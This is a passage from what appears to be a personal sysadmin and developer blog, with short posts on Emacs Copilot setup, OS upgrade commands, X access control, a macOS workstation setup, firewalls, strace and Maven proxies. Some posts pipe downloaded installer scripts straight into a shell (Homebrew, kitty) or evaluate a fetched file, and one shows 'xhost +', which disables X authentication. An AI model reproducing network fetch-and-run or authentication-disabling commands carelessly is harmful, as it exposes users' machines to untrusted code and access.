         "https://raw.githubusercontent.com/radian-software/straight.el/develop/install.el"
         'silent 'inhibit-cookies)
      (goto-char (point-max))
      (eval-print-last-sexp)))
  (load bootstrap-file nil 'nomessage))

Then I installed copilot:

(use-package copilot
  :straight (:host github :repo "zerolfx/copilot.el" :files ("dist" "*.el"))
  :ensure t)

I enabled it for all programming modes:

(add-hook 'prog-mode-hook 'copilot-mode)

I prefer company-mode for completion, so I enabled copilot to use it:

(with-eval-after-load 'company
  ;; disable inline previews
  (delq 'company-preview-if-just-one-frontend company-frontends))

(define-key copilot-completion-map (kbd "<tab>") 'copilot-accept-completion)
(define-key copilot-completion-map (kbd "TAB") 'copilot-accept-completion)

In advance, I had signed up for copilot on github.com, so I just had to use M-x copilot-login to log in. In the browser, I just pasted in the one time code Emacs had put on the clipboard.

The last bit I did, was to enable copilot all over the place: M-x copilot-global-mode.

That was it. I was ready to use copilot.

Exploring Chat Gpt

2023-03-30T00:00:00+02:00

gptel

(setq gptel-api-key "sk-adsfaf23asfdadsdsaf")

M-x gptel

3cpio

CodeGPT

I liked this feature: Mark a Java function and run M-x codegpt-doc and it'll document the method for you. A tad too detailed to my taste, but not bad at all.

Keep your OS secure and up to date

2023-01-18T00:00:00+01:00

The best and easiest way of keeping your machine secure, is to constantly upgrade all of its components. Not only a few selected apps like Chrome, but all components, including the git command, the SSL/TLS libraries and so on. Below, I list the commands I use on the different platforms I frequent (plus Windows).

Debian & Ubuntu based machines

# apt-get update && apt-get upgrade

Arch based machines

# pacman -Syu
$ paru -Syu

RedHat 8 and Fedora based machines

# dnf upgrade

RedHat 7 based machines

# yum upgrade

OpenBSD

# syspatch
# pkg_add -u

macOS

# softwareupdate -i -a
$ brew upgrade

Windows 10 1709 (build 16299) or later

c:\> winget upgrade --all

Legend

As always, # means the command should be executed as root or with sudo and $ means the command should be executed by your regular user.

Grant a single user access to your x session

2023-01-17T00:00:00+01:00

Say you're logged into your laptop as lisa and want to give another user on the same machine access to your X session, i.e. open graphical applications. For years, I disabled X's authentication mechanism alltogeter with:

$ whoami
lisa
$ xhost +

The john user could now start graphical appliations:

$ whoami
john
$ export DISPLAY=:0
$ xeyes &

However, there's a better way. To grant only john access to your graphical dispaly, instead do:

$ whoami
lisa
$ xhost +SI:localuser:john

Now, as john, export the display to the local one and start the graphical application:

$ whoami
john
$ export DISPLAY=:0
$ xeyes &

You can turn off access to your X server by:

$ xhost -

Set Unix env var from within Emacs

2023-01-02T00:00:00+01:00

You've started Emacs before you added your SSH keys to your keyring? No problem!

In the shell where you have your keys added to your keyring:

$ ssh-add -l
2048 SHA256:FPafasdfasf234 /home/torstein/.ssh/id_rsa (RSA)
256 SHA256:234124sdfsadf234234123 torstein@quanah (ED25519)

Get a hold of the values for these two variables that were set by the ssy-agent program:

$ set | grep ^SSH_
SSH_AGENT_PID=1315
SSH_AUTH_SOCK=/tmp/ssh-XXXXXX6O4ePc/agent.1306

Now, in Emacs, evaluate the following elisp:

(setenv "SSH_AGENT_PID" "1315")
(setenv "SSH_AUTH_SOCK" "/tmp/ssh-XXXXXX6O4ePc/agent.1306")

That's it. Everything in Emacs that uses SSH, like a typical Magit session, will use the same keyring that your shell uses.

Happy coding!

JAX-RS resource that returns application/zip

2022-12-28T00:00:00+01:00

Option 1

Use standard media type that JAX-RS has a serializer for (through Jackson) and set application/zip when we do the actual streaming:

@Produces(MediaType.APPLICATION_JSON)
public Response getZip() {

  StreamingOutput output = stream -> {
    try (ZipOutputStream zipOutput = new ZipOutputStream(stream)) {
      // write to zipOut
      zipOutput.flush();
    }
  };
  return Response.ok(output)
      .header(HttpHeaders.CONTENT_TYPE, "application/zip")
      .header(
          CONTENT_DISPOSITION,
          "attachment; filename=\"file.zip\"")
      .build();
}

Option 2

macOS as Unix Workstation 2022

2022-11-21T00:00:00+01:00

I'm a die hard Linux user, but in November 2022, I had to use a Mac for some work. This document describes how I turned a vanilla install of the latest macOS into a powerful Unix workstation.

Homebrew 🍺

This is AFAIK the best package manager for Unix tools on macOS. Install it with:

$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Terminal 💻

I've grown very fond of the kitty terminal. I believe it's the best terminal around, it even beats iTerm2 😃. It strikes a great balance between features (24 bit colours, Unicode, multiplexer, view pictures on remote servers, remote server clipboard integration++) and speed. Install it with:

$ curl -L https://sw.kovidgoyal.net/kitty/installer.sh | sh /dev/stdin

Set Caps Lock as Ctrl

Or else, I'll go seriously mad.

Head over to System preferences, then Keyboard and finally Modifier Keys.

Unix shell environment

Git

$ brew install git

ZSH 🐚

I prefer the ZSH shell over BASH:

$ brew install zsh
$ brew install zsh-autosuggestions
$ brew install zsh-completions
$ brew install fzf

BASH 🐚

You should install a newer version of bash. Although I use ZSH for my interactive shell, I still do lots of shell programming in BASH. The version of bash that comes with macOS is very old, 3.2.57, so installing a newer bash with brew:

$ brew install bash

Verify that the new version is correctly installed and available in your PATH by running:

$ bash --version
GNU bash, version 5.2.26(1)-release (aarch64-apple-darwin22.6.0)
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Coreutils 🧰

GNU coreutils, sed, awk, getopt and grep are superior to the ancient BSD tools that ship with macOS.

$ brew install base64
$ brew install coreutils
$ brew install gawk
$ brew install gnu-getopt
$ brew install grep
$ brew install gsed
$ brew install procps-ng

Now, ensure that the GNU versions of these tools take precedence over the old BSD versions that macOS ships with. To do this, you must edit the settings file for your shell.

If you don't know which one you're using, type:

$ echo $SHELL
/bin/zsh

With that, you know which .bashrc of .zshrc to edit. Add the following:

export PATH=\
/usr/local/bin:\
/usr/local/Cellar/gnu-sed/4.9/libexec/gnubin:\
/usr/local/opt/coreutils/libexec/gnubin:\
/usr/local/opt/gawk/bin:\
/usr/local/opt/gnu-getopt/bin:\
/usr/local/opt/grep/libexec/gnubin:\
/usr/local/opt/openjdk@11/bin:\
$PATH

As you can see from the above paths, gnused isn't packaged like the others, and doesn't provide a bin directory outside the cellar.

After this change to your PATH variable, you must reload the settings:

$ source .bashrc # For BASH shells
$ source .zshrc  # For ZSH shells

Alternatively, start a new terminal window.

PGP 🔒

$ brew install gnupg

Java ☕

$ brew install openjdk@11

Ensure this JDK's binaries are first in PATH, add these to ~/.zshrc or ~/.bashrc:

export PATH=/usr/local/opt/openjdk@11/bin:$PATH

JSON

Installing jq allows you to query JSON documents, a bit like what XPath on XML files.

$ brew install jq

Installing json_xs lets you convert between YAML and JSON. For instance, you can use this to do look ups in YAML documents using jq. json_xs doesn't exist in Homebrew, but you should be able to install it from CPAN using cpm (untested):

$ brew install cpm
$ cpm install JSON::XS
$ cpm install YAML::XS::LibYAML

Video meetings 📽️

My company uses Microsoft Teams, so that' the one to get.

Update 2022-11-22: Per told me Teams can also be installed with brew like so:

$ brew install --cask microsoft-teams

Fonts 🖊️

Download the excellent Adobce Source Code Pro font, unzip it and drag and drop the files to the Font Book:

A better top

btop is my favourite resource monitor these days, install it with:

$ brew install btop

Emacs 🐂

Install Emacs from emacsformacosx.com, this gives you a good, up to date Emacs build.

Note, this build doesn't provide native compilation (aka "gccemacs"), nor the non-blocking JSON processing done in this emacs-lsp fork.

Update 2022-11-25: It's also possible to get Emacs with brew. Note, after testing this on a fresh Mac, I the --cask emacs --with-native-comp --with-cocoa options didn't work, so had to just issue the below command which gives a non-graphical Emacs (to get the full package, use the emacsformacosx link above):

$ brew install emacs

Spell check 📖

$ brew install aspell

That's it!

Your shiny macOS machine is now a good, modern Unix workstation with most of the same tools and versions as GNU/Linux distributions ship with.

Happy hacking!

Set up a firewall in 2 minutes on Arch Linux

2022-11-15T00:00:00+01:00

Install the ufw iptables-nft wrapper with:

# pacman -Sy ufw

Enable and start it with:

# systemctl enable ufw
# systemctl start ufw

Configure it. By default, block all incoming connections and allow all outgoing. This is what you typically want:

# ufw default allow outgoing
# ufw default deny incoming
# ufw reload

Done!

Microsoft hasn't lost its evil ways

2022-11-11T00:00:00+01:00

Next time Microsoft touts "Our dark days are behind us, we're now all about the cloud, openness and developer productivity", show them this.

A user must go through 3 scary-screens before using Chrome on Windows.

Microsoft, I believe you can be better than this.

Git Signing with SSH

2022-11-09T00:00:00+01:00

Why sign your commits?

What we want

How to verify a commit?

$ git verify-commit 54d75d3d5992bdbd5ddb5a5f6a12bd7ba1dc747d
Good "git" signature with ED25519 key SHA256:lyOfOeV7C0s0ygnRgkSd4S8LVC4mkoPmRvlLdcvWOzM
No principal matched.

$ git verify-tag v1.2.3-4

Can anyone sign a commit?

$ cat ~/.ssh/allowed_signers

Verify committs of a release

git log --oneline ${source_rev}..${target_rev} |
  awk '{ print $1}') |
  while read -r commit; do
    git verify-commit ${commit}
  done

Delve further

Github: about commit signature verification
Github: displaying verification statuses for all of your commits
Github: telling git about your ssh key
man ssh-keygen: ALLOWED_SIGNERS
Blog: git ssh signatures

virt-manager and virsh say network is not active

2022-11-09T00:00:00+01:00

$ virsh start ece-install-tester
error: Failed to start domain 'ece-install-tester'
error: Requested operation is not valid: network 'default' is not active

# virsh net-autostart --network default
Network default marked as autostarted

# virsh net-start default
Network default started

# virsh net-list --all
 Name      State    Autostart   Persistent
--------------------------------------------
 default   active   yes         yes

Default Java Heap Size

2022-11-08T00:00:00+01:00

If you don't specify anything with -Xmx and -Xms, how much memory will the operating system allocate to your Java process?

The default heap size was 64MB until Java 5. Since then, it's been calculated runtime. To see what the JVM will pick for your system, you can do:

$ java -XX:+PrintFlagsFinal -version 2>/dev/null |
  grep InitialHeapSize |
  awk '{print $4}' |
  numfmt --to iec
498M

To read more about how this value is calculated, see Garbage Collector Ergonomics

Delete Files Created Before Date

2022-10-27T00:00:00+02:00

Say you want to delete files in /var/lib/files created before 2022-01-01:

$ touch --date "2022-01-01" /tmp/from
$ find /var/lib/files -type f -not -newer /tmp/from -delete

Delete friles between a from and to date

Say you want to delete files only created created in 2020:

$ touch --date "2020-01-01" /tmp/from
$ touch --date "2021-01-01" /tmp/to
$ find /var/lib/files -type f -newer /tmp/from -not -newer /tmp/to -delete

Find process listening on a port

2022-10-27T00:00:00+02:00

In the old days, I used netstat -nlp | grep -w <port>. These days (2022), ss the preferred tool to use:

$ ss -lptn | grep -w 8080
LISTEN        0             4096                                   *:8080                             *:*            users:(("java",pid=205361,fd=327))

With ss, we can even do without the grep by asking for the source port directly::

$ ss -lptn 'sport = :8080'
State       Recv-Q      Send-Q           Local Address:Port             Peer Address:Port      Process
LISTEN      0           4096                         *:8080                        *:*          users:(("java",pid=205361,fd=327))

Investigate what file(s) an app opens

2022-10-17T00:00:00+02:00

Sometimes, it's important to know what files an app opens. Like today, I had this Maven plugin that checks for known vulnerabilities. It bailed out after a couple of seconds complaining that a cache file was corrupt. However, even in the deepest Caused by block in the stack trace, there was no hint of which file it hard problems reading:

$ mvn --batch-mode org.owasp:dependency-check-maven:6.0.3:check -Dformats=html,json
..
Caused by: java.lang.IllegalStateException: File corrupted in chunk 1416, expected page length 4..512, got 1117444 [1.4.199/6]
    at org.h2.mvstore.DataUtils.newIllegalStateException (DataUtils.java:883)
    at org.h2.mvstore.MVStore.readBufferForPage (MVStore.java:1055)
    at org.h2.mvstore.MVStore$ChunkIdsCollector.visit (MVStore.java:1606)
    at org.h2.mvstore.Page$1.run (Page.java:282)
    at java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:515)
    at java.util.concurrent.FutureTask.run (FutureTask.java:264)
    at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1128)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:628)
    at java.lang.Thread.run (Thread.java:829)

strace to the rescue. I first ran it without any filter (-e <system call>):

$ strace -f mvn --batch-mode org.owasp:dependency-check-maven:6.0.3:check -Dformats=html,json
..

but quickly discovered that all files opened by the Maven Java process used openat to read files, so I reran it with -e openat:

$ content-engine $ strace -f -e openat  mvn --batch-mode org.owasp:dependency-check-maven:6.0.3:check -Dformats=html,json
..

The still produced a lot of output. To narrow it down, I made an educated guess that the cache file in question was in my home directory. Since strace writes its output to standard error, I redirected standard err to standard out so that I could grep the output:

$ strace -f -e openat \
  mvn --batch-mode org.owasp:dependency-check-maven:6.0.3:check -Dformats=html,json 2>&1 | \
  grep $HOME
..
[pid 3175768] openat(AT_FDCWD, "/home/torstein/.m2/repository/org/owasp/dependency-check-data/5.0/odc.mv.db", O_RDWR|O_CREAT, 0666) = 151
..
[pid 3178086] openat(AT_FDCWD, "/home/torstein/.m2/repository/org/owasp/dependency-check-data/5.0/odc.trace.db", O_RDWR|O_CREAT, 0666) = 153
[pid 3178086] openat(AT_FDCWD, "/home/torstein/.m2/repository/org/owasp/dependency-check-data/5.0/odc.trace.db", O_WRONLY|O_CREAT|O_APPEND, 0666) = 153

There, I know knew which files it complained about. Nice, eh?

Wired Network With 802.1x authentication

2022-09-29T00:00:00+02:00

This is how I set up wired networking with 802.1x authentication without NetworkManager (which I don't like).

wpa_supplicant

Even though this is a wired connection, you need wpa_supplicant:

# vim /etc/wpa_supplicant/wpa_supplicant-wired-adapter.conf

ctrl_interface=/run/wpa_supplicant
ap_scan=0

network={
  key_mgmt=IEEE8021X
  eap=PEAP
  identity="john"
  password="foo"
  phase2="autheap=MSCHAPV2"
}

Since it contains a password, hashed or not, be sure that only root can read it:

# chmod 600 /etc/wpa_supplicant/wpa_supplicant-wired-adapter.conf

Now, start wpa_supplicant for your network interface, enp0s20f0u7 in my case:

# wpa_supplicant -i enp0s20f0u7 -D wired -c /etc/wpa_supplicant/wpa_supplicant-wired-adapter.conf
Successfully initialized wpa_supplicant
enp0s20f0u7: Associated with 99:43:33:23:1d:21
enp0s20f0u7: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0

Getting an IP

Now, when I run dhclient, the wpa_supplicant kicks into play:

enp0s20f0u7: CTRL-EVENT-EAP-STARTED EAP authentication started
enp0s20f0u7: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
enp0s20f0u7: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
enp0s20f0u7: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/DC=com/DC=example/CN=Company Issuing CA02 256' hash=234234asdfadsf23424
enp0s20f0u7: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/CN=radius.example.com hash=asd234243243sadfsfd234243
enp0s20f0u7: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:radius.example.com
EAP-MSCHAPV2: Authentication succeeded
EAP-TLV: TLV Result - Success - EAP-TLV/Phase2 Completed
enp0s20f0u7: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
enp0s20f0u7: CTRL-EVENT-CONNECTED - Connection to 99:43:33:23:1d:21 completed [id=0 id_str=]

And there! You're connected to your company network, authenticated with your AD user name and password.

Getting two way clipboard between host and guest with virt-manager and Spice

2022-09-27T00:00:00+02:00

Host

host $ su -
host # pacman -S virt-manager

On the settings page for your virtual machine, ensure that you have a channel for Spice (I got this automatically with the Arch virt-manager package):

Device type: spicevmc
Target type: virtio
Target name: com.redhat.spice.0

Guest

host  $ ssh guest
guest $ su -
guest # apt-get install spice-vdagent
guest # systemctl enable spice-vdagent
guest # systemctl start spice-vdagent

Update 2022-11-28: I noticed the clipboard stopped working in my Debian guest running fluxbox. I added this manually (or in ~/.fluxbox/startup) to start the spice agent for my user:

spice-vdagent &

Two way clipboard

That's it. I can now copy text from Firefox running in the virtual machine and paste it into Chrome running on my host machine.

Return to Monkey Island

2022-09-26T00:00:00+02:00

I feel like I'm 14 again playing the latest Monkey Island game from the brilliant Ron Gilbert. Every evening after the wee one sleeps, I go back to the world of Monkey Island. Playing it slowly, savouring the atmosphere, the characters, the humour, the music, the puzzles. May it never end.

To get Return to Monkey Island to run on Linux

After installing RtMI through Steam and selecting to use experimental Proton to run it, it started up just fine with music and all, but no graphics. The window was just black. Running the game fullscreen or windowed made no difference. Helpful folks on the Steam forums suggested different workarounds, one of worked for me. It involved two things: 1) using Proton tricks and switching to DirectX rendering:

First off, I installed protontricks:

# pacman -Sy chaotic-aur/protontricks-git

Then, I applied a tweak for the game:

$ protontricks 2060130 d3dcompiler_47

Finally, I instructed Proton to use DirectX for rendering instead of Vulkan:

$ mkdir -p "~/.steam/steam/steamapps/compatdata/2060130/pfx/drive_c/users/steamuser/AppData/Roaming/Terrible\ Toybox/Return\ to\ Monkey\ Island/"
$ echo 'renderer: "directx"' > "~/.steam/steam/steamapps/compatdata/2060130/pfx/drive_c/users/steamuser/AppData/Roaming/Terrible\ Toybox/Return\ to\ Monkey\ Island/Prefs.json"

I also did what proton suggested when running it, hopefully that'll make the graphics run smoothly. I don't actually know if this made a difference, but running the game (admittedly with reduced resolution) gives a super smooth experience:

# sysctl dev.i915.perf_stream_paranoid=0

View Active Kernel Module Parameters

2022-08-30T00:00:00+02:00

modinfo is nice for inspecting kernel modules and what configuration parameters they accept. For instance, these are the power saving optoins of the iwlwifi driver for my Intel Wifi card:

# modinfo iwlwifi | grep power_
parm:           power_save:enable WiFi power management (default: disable) (bool)
parm:           power_level:default power save level (range from 1 - 5, default: 1) (int)

However, modinfo doesn't list the active value of the power_save parameter. For that, you'll have to query the /sys file system:

/sys/module/iwlwifi/parameters/power_level:0
/sys/module/iwlwifi/parameters/power_save:N

Now that correspond better to what I'd set in my modprobe.conf.d:

# cat /etc/modprobe.d/iwlwifi.conf .
options iwlwifi power_save=0

MariaDB fails to start because mysql.db doesn't exist

2022-08-19T00:00:00+02:00

# pacman -Sy mariadb
# systemctl enable mariadb
# systemctl start mariadb

But that failed.

# journalctl -xeu  mariadb.service

Gave a hint:

[ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.db' doesn't exist

It turned out that the MySQL system tables and users weren't created. To remedy that, I did:

# mysql_install_db --user=mysql --ldata=/var/lib/mysql

Now, after restarting mariadb, it ran as it should:

# systemctl restart mariadb
# systemctl status mariadb
● mariadb.service - MariaDB 10.8.4 database server
     Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled; preset: disabled)
     Active: active (running) since Fri 2022-08-19 12:53:40 CEST; 1s ago

Really strange this is necessary. On CentOS, RHEL, Debian and Ubuntu this is done automatically for you.

Create a Slack wizard app in Python that answers all your questions

2022-07-20T00:00:00+02:00

Using the excellent Python Bolt API from Slack, I show how you can create an app that answers questions posted in any channel.

The video shows how to register an app using web sockets, how to grant it appropriate access rights, how to bootstrap your Python project, wire up your app to work with the Slack app you've just registered, as well as how to navigate the Block format returned from the Bolt API, answer messages in threads and last but not least, looking up the answers to questions.

Slides can be found here

Happy hacking!

Get Clickable Jira Links in Your Org Files

2022-07-15T00:00:00+02:00

Get clickable links to Jira issues from your Org notes:

(setq bug-reference-bug-regexp "\\b\\(\\([A-Za-z][A-Za-z0-9]\\{1,10\\}-[0-9]+\\)\\)"
      bug-reference-url-format "https://jira.example.com/browse/%s")
(add-hook 'org-mode-hook 'bug-reference-mode)

What the above setting, you get a clickable Jira link when you write FOO-1000. The file itself doesn't contain the link, if you've just written FOO-1000, that's what the file will contain. It's a link overlay that's in the editor only.

If you want to follow the links without using the mouse, you can hit C-c RET.

Neat, eh?

Note, the Org shortcut for following links, org-open-at-point, will not work since this link overlay is provided by bug-reference-mode and not org-mode (that would've been nice, though).

How to see /etc files have been changed after installing the DEB

2022-07-14T00:00:00+02:00

DEB packages often contain configuration files installed under /etc. To see if an admin has changed any package provided configuration files, use the following command:

$ dpkg-query -W -f='${Conffiles}\n' '*' |
  awk 'OFS="  "{print $2,$1}' |
  md5sum -c 2>/dev/null |
  awk -F': ' '$2 !~ /OK/{print $1}'

Source: https://serverfault.com/a/90401

Disable SSH Password Login

2022-07-05T00:00:00+02:00

I recommend using SSH key based authentication to all your Unix servers. There's a good rationale for this written here.

To ensure users use SSH keys to log into your server, turn off PasswordAuthentication like so:

# echo PasswordAuthentication no > /etc/ssh/sshd_config.d/disable-password-login.conf
# systemctl reload sshd

Now, if the user doesn't have a private key that matches the entries in ~/.ssh/authorized_keys on the server when logging in, he'll get no password prompt anymore:

$ ssh foo@ssh.example.com
foo@ssh.example.com: Permission denied (publickey).

Converting New Users to Linux

2022-06-21T00:00:00+02:00

I find the greatest challenge with giving Linux to others, is what story to tell: You're running Mint. That's a Linux distro. It's based on a different distro called Ubuntu, which again is based on Debian. Your desktop, though, is called Cinnamon. So when you have a problem, you must search for a solution in that order: Cinnamon, Mint, Ubuntu, Debian.

When installing packages, you have native packages, through apt-get, but you also have flatpak, snaps and appimage. Graphical frontend? Sure, you've got (at least) 2 different ones installed. When to use which? Try them out and see which one you like the best. If they don't work, try synaptic, it's not pretty, but that always works. Oh, but it doesn't work with flatpak or snaps, so you need to be aware of that.

Good luck 😁

What is Baloo and why is it Eating My Machine?!

2022-06-21T00:00:00+02:00

Baloo was number one in top and I didn't even know what it was. Turned out it was the search indexer for the KDE Plasma dekstop. The funny thing was, I didn't even run KDE at the time, I was running i3! But since Baloo is started from systemd, it was eating away my CPU sycles anyway.

This is how I got rid of this resource hog:

Stopping the baloo indexer

$ balooctl suspend

Disable the baloo indexer

$ balooctl disable
Disabling and stopping the File Indexer

You can verify that it's been disabled:

$ cat .config/baloofilerc
[Basic Settings]
Indexing-Enabled=false

Purge the giga bytes consumed byt he indexer

Since I never use KDE for anything useful on this machine, it's my work machine, so I use i3, I decided to purge the whole file to save the disk space (it was occupying more than 4 GBs):

$ balooctl purge

Set Timezone on Arch Linux

2022-06-20T00:00:00+02:00

See your system's current timezone

$ timedatectl status
               Local time: Mon 2022-06-20 16:05:34 CST
           Universal time: Mon 2022-06-20 08:05:34 UTC
                 RTC time: Mon 2022-06-20 08:05:34
                Time zone: Asia/Taipei (CST, +0800)
System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no

Change the timezone

$ sudo timedatectl set-timezone Asia/Taipei

You can verify that timedatectl has done the right thing by inspecting the /etc/localtime symlink:

$ ls -l /etc/localtime
lrwxrwxrwx 1 root root 33 Jun 20 10:06 /etc/localtime -> ../usr/share/zoneinfo/Europe/Oslo

timedatectl doesn't update /etc/timezone for some reason, so I edit that manually with:

# vim /etc/timezone

View all available timezones

If you don't know what the timezone string is called, you should have TAB completion, if this hasn't been enabled on your system, you can have a look at all the available ones with:

$ timedatectl list-timezones

Maven Through an HTTP Proxy

2022-04-28T00:00:00+02:00

If you're using Maven through an HTTP proxy, you might have banged your head why on earth the snippet below in ~/.m2/settings.xml isn't enough to get all Maven plugins to work perfectly with the proxy (no, it's not because of protocol=http):

<proxies>
  <proxy>
    <id>anping-proxy</id>
    <active>true</active>
    <protocol>http</protocol>
    <host>proxy</host>
    <port>8899</port>
  </proxy>
</proxies>

For most Maven plugins, this works great. However, for a few, it doesn't and mvn just hangs forever.

It turns out, for some underlying Maven components (possibly related to this bug in Maven), it's not enough and you'll have to set the same values in the MAVEN_OPTS environment variable:

export MAVEN_OPTS="
  ${MAVEN_OPTS}
  -Dhttp.proxyHost=proxy
  -Dhttp.proxyPort=8899
  -Dhttps.proxyHost=proxy
  -Dhttps.proxyPort=8899
"

That took me a while to figure out, have been doing all sorts of somersaults over and under this 🤸‍♂️

virt-manager stopped working after upgrade

2022-04-05T00:00:00+02:00

Today, virt-manager refused to start any VM:

Error starting domain: internal error: Failed to load module

'/usr/lib/libvirt/storage-file/libvirt_storage_file_fs.so':
/usr/lib/libvirt.so.0: version `LIBVIRT_PRIVATE_8.2.0'

not found (required by
/usr/lib/libvirt/storage-file/libvirt_storage_file_fs.so)

It turned out it was because libvirt was upgraded and it didn't restart its deamon:

$ grep -w libvirt /var/log/pacman.log
[2022-04-04T09:37:24+0200] [ALPM] upgraded libvirt (1:8.1.0-4 -> 1:8.2.0-3)

To fix this, I just restarted libvirtd:

# systemctl restart libvirtd

With that, virt-manager could start my VMs again 🎉